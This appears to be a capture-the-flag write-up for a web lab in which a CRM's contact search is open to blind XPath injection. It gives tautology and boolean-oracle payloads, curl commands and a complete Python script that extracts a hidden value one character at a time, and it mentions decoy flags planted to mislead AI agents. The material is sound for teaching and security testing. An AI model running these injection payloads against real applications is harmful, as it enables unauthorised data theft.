Lab 333 — LeadForge — XPath Injection in Contact Search
Lab 333 — LeadForge — XPath Injection in Contact Search
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-13 | Status: Solved Techniques: xpath_injection, boolean_based_blind_extraction, xml_structure_enumeration, substring_extraction, decoy_flag_identification
Summary
Task: CRM platform with contact search endpoint that interpolates user input into XPath expressions against an XML data store. Solution: Boolean-based blind XPath injection to enumerate XML structure, locate flag in /leadforge/system_config/config[7]/value, and extract it character-by-character using substring().
Lab 333 — LeadForge — XPath Injection in Contact Search — HackAdvisor
Description
LeadForge is a contact relationship management (CRM) platform built by ForgePoint Solutions. The application allows teams to manage contacts, track deals through a visual pipeline, and view analytics on team performance. The application stores its data in XML files and provides search and filtering capabilities across the contact directory. The goal is to find and exploit a vulnerability that allows access to sensitive data restricted to administrators only. The flag is stored in the admin system configuration panel.
English summary: A PHP-based CRM application that stores all data in XML files. The contact search feature passes user input directly into an XPath expression, enabling blind XPath injection. The flag is hidden in the system configuration section of the XML document, accessible only through injection since the admin panel is not available to regular users.
Credentials: user@test.com / password123
Analysis
Reconnaissance
-
Technology stack: PHP 8.2.26 behind nginx/1.25.5. The application is a traditional server-rendered PHP app with API endpoints returning JSON.
-
Application structure: After login, the app exposes several pages:
- Dashboard (
/) — overview - Contacts (
/contacts) — contact directory with search - Deals (
/deals) — deal pipeline - Analytics (
/analytics) — team performance - Profile (
/profile) — user settings
- Dashboard (
-
Search endpoint: The Contacts page has a search feature powered by
/api/contacts?search=that queries the XML data store. -
Decoy flags: Every HTML page contains
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}embedded in HTML comments and hidden<div>elements. These are anti-bot traps designed to trick automated scanners and AI agents into reporting a fake flag. The real flag must be extracted through the vulnerability.
Confirming XPath Injection
Testing the search endpoint with special characters:
- Single quote
'→ returns{"contacts":[],"total":0}(graceful error, no SQL-style error message — hints at XPath rather than SQL) - Tautology
') or 1=1 or ('→ returns all 27 contacts, confirming injection
The underlying XPath query pattern:
xpath read-only • copy allowed//contacts/contact[contains(first_name, 'INPUT') or contains(email, 'INPUT')]
User input is interpolated directly into the XPath expression without sanitization.
Boolean Oracle Construction
To extract arbitrary data from the XML document, a boolean oracle was constructed:
Amanda') and CONDITION or contains(first_name,'ZZZZZ
This produces the XPath:
xpath read-only • copy allowed//contacts/contact[contains(first_name, 'Amanda') and CONDITION or contains(first_name,'ZZZZZ') or contains(email, 'Amanda') and CONDITION or contains(first_name,'ZZZZZ')]
- If
CONDITIONis TRUE → "Amanda" contact matches →total: 1 - If
CONDITIONis FALSE → falls through tocontains(first_name,'ZZZZZ')which matches nothing →total: 0
This gives a reliable 1-bit oracle for any XPath boolean expression.
XML Structure Enumeration
Root element discovery:
check("name(/*)='leadforge'") → True
Child enumeration using substring(name(/leadforge/*[N]),pos,1)='char' character-by-character:
/leadforge (root)
├── users
├── credentials
├── contacts (27 contact records)
├── deals
├── system_config (10 config elements, all named "config")
│ ├── config[1-6] — various application settings
│ ├── config[7]
│ │ ├── key: "internal_flag"
│ │ └── value: "FLAG{...}" (length 38)
│ └── config[8-10]
└── activity_log
Union-based node counting confirmed the structure: ')]|//*|//x[contains(.,'a revealed 632 total nodes in the document.
Locating the Flag
-
Checked if
system_configcontains the flag string:check("contains(string(/leadforge/system_config),'FLAG')") → True -
Iterated through
config[1]toconfig[10]to find which one holds the flag:check("contains(string(/leadforge/system_config/config[7]),'FLAG')") → True -
Enumerated
config[7]sub-elements: 2 children namedkeyandvaluekeytext:internal_flagvaluetext: contains FLAG, length = 38
Solution
Step 1: Login and Establish Session
bash read-only • copy allowedcurl -c cookies.txt -X POST "$TARGET/login" \ -d "username=user@test.com&password=password123"
Step 2: Confirm XPath Injection
bash read-only • copy allowed# Tautology — returns all 27 contacts curl -b cookies.txt "$TARGET/api/contacts?search=') or 1=1 or ('"
Step 3: Extract Flag via Boolean-Based Blind Injection
Character-by-character extraction using substring():
python read-only • copy allowed#!/usr/bin/env python3 """ XPath Injection Exploit for LeadForge CRM Extracts flag from /leadforge/system_config/config[7]/value via boolean-based blind XPath injection """ import requests import string TARGET = "https://a2527e9a-9224-4ba5-8747-3cae50434b26.labs.hackadvisor.io" # Authenticate s = requests.Session() s.post(f"{TARGET}/login", data={ "username": "user@test.com", "password": "password123" }) def check(condition): """Boolean oracle - returns True if XPath condition evaluates to true. Payload structure: Amanda') and CONDITION or contains(first_name,'ZZZZZ If CONDITION is true → Amanda matches → total > 0 If CONDITION is false → ZZZZZ matches nothing → total = 0 """ payload = f"Amanda') and {condition} or contains(first_name,'ZZZZZ" r = s.get(f"{TARGET}/api/contacts", params={"search": payload}) data = r.json() return data.get("total", 0) > 0 # --- Phase 1: Enumerate XML structure (optional, for understanding) --- # Confirm root element assert check("name(/*)='leadforge'"), "Root element is not 'leadforge'" # Count system_config children for i in range(20): if check(f"count(/leadforge/system_config/*)={i}"): print(f"system_config has {i} children") break # Find which config element contains FLAG for i in range(1, 11): if check(f"contains(string(/leadforge/system_config/config[{i}]),'FLAG')"): print(f"config[{i}] contains FLAG!") flag_idx = i break # --- Phase 2: Extract the flag --- BASE = f"/leadforge/system_config/config[{flag_idx}]/value" # Determine flag length flag_len = None for length in range(30, 50): if check(f"string-length(string({BASE}))={length}"): flag_len = length print(f"Flag length: {flag_len}") break # Optimized charset: hex digits first (flag body is MD5 hash), # then remaining letters, then special characters charset = ( string.digits + "abcdef" # hex chars (most common in flag body) + "ghijklmnopqrstuvwxyz" # remaining lowercase + string.ascii_uppercase # uppercase (for FLAG{ prefix) + "{}_-" # flag delimiters ) flag = "" for pos in range(1, flag_len + 1): for char in charset: if char == "'": cond = f'substring(string({BASE}),{pos},1)="\'"' else: cond = f"substring(string({BASE}),{pos},1)='{char}'" if check(cond): flag += char print(f"[{pos}/{flag_len}] '{char}' -> {flag}", flush=True) break print(f"\nFLAG: {flag}")
Extraction Output
system_config has 10 children
config[7] contains FLAG!
Flag length: 38
[1/38] 'F' -> F
[2/38] 'L' -> FL
[3/38] 'A' -> FLA
[4/38] 'G' -> FLAG
[5/38] '{' -> FLAG{
[6/38] '4' -> FLAG{4
[7/38] '4' -> FLAG{44
...
[37/38] '6' -> FLAG{REDACTED
[38/38] '}' -> FLAG{REDACTED}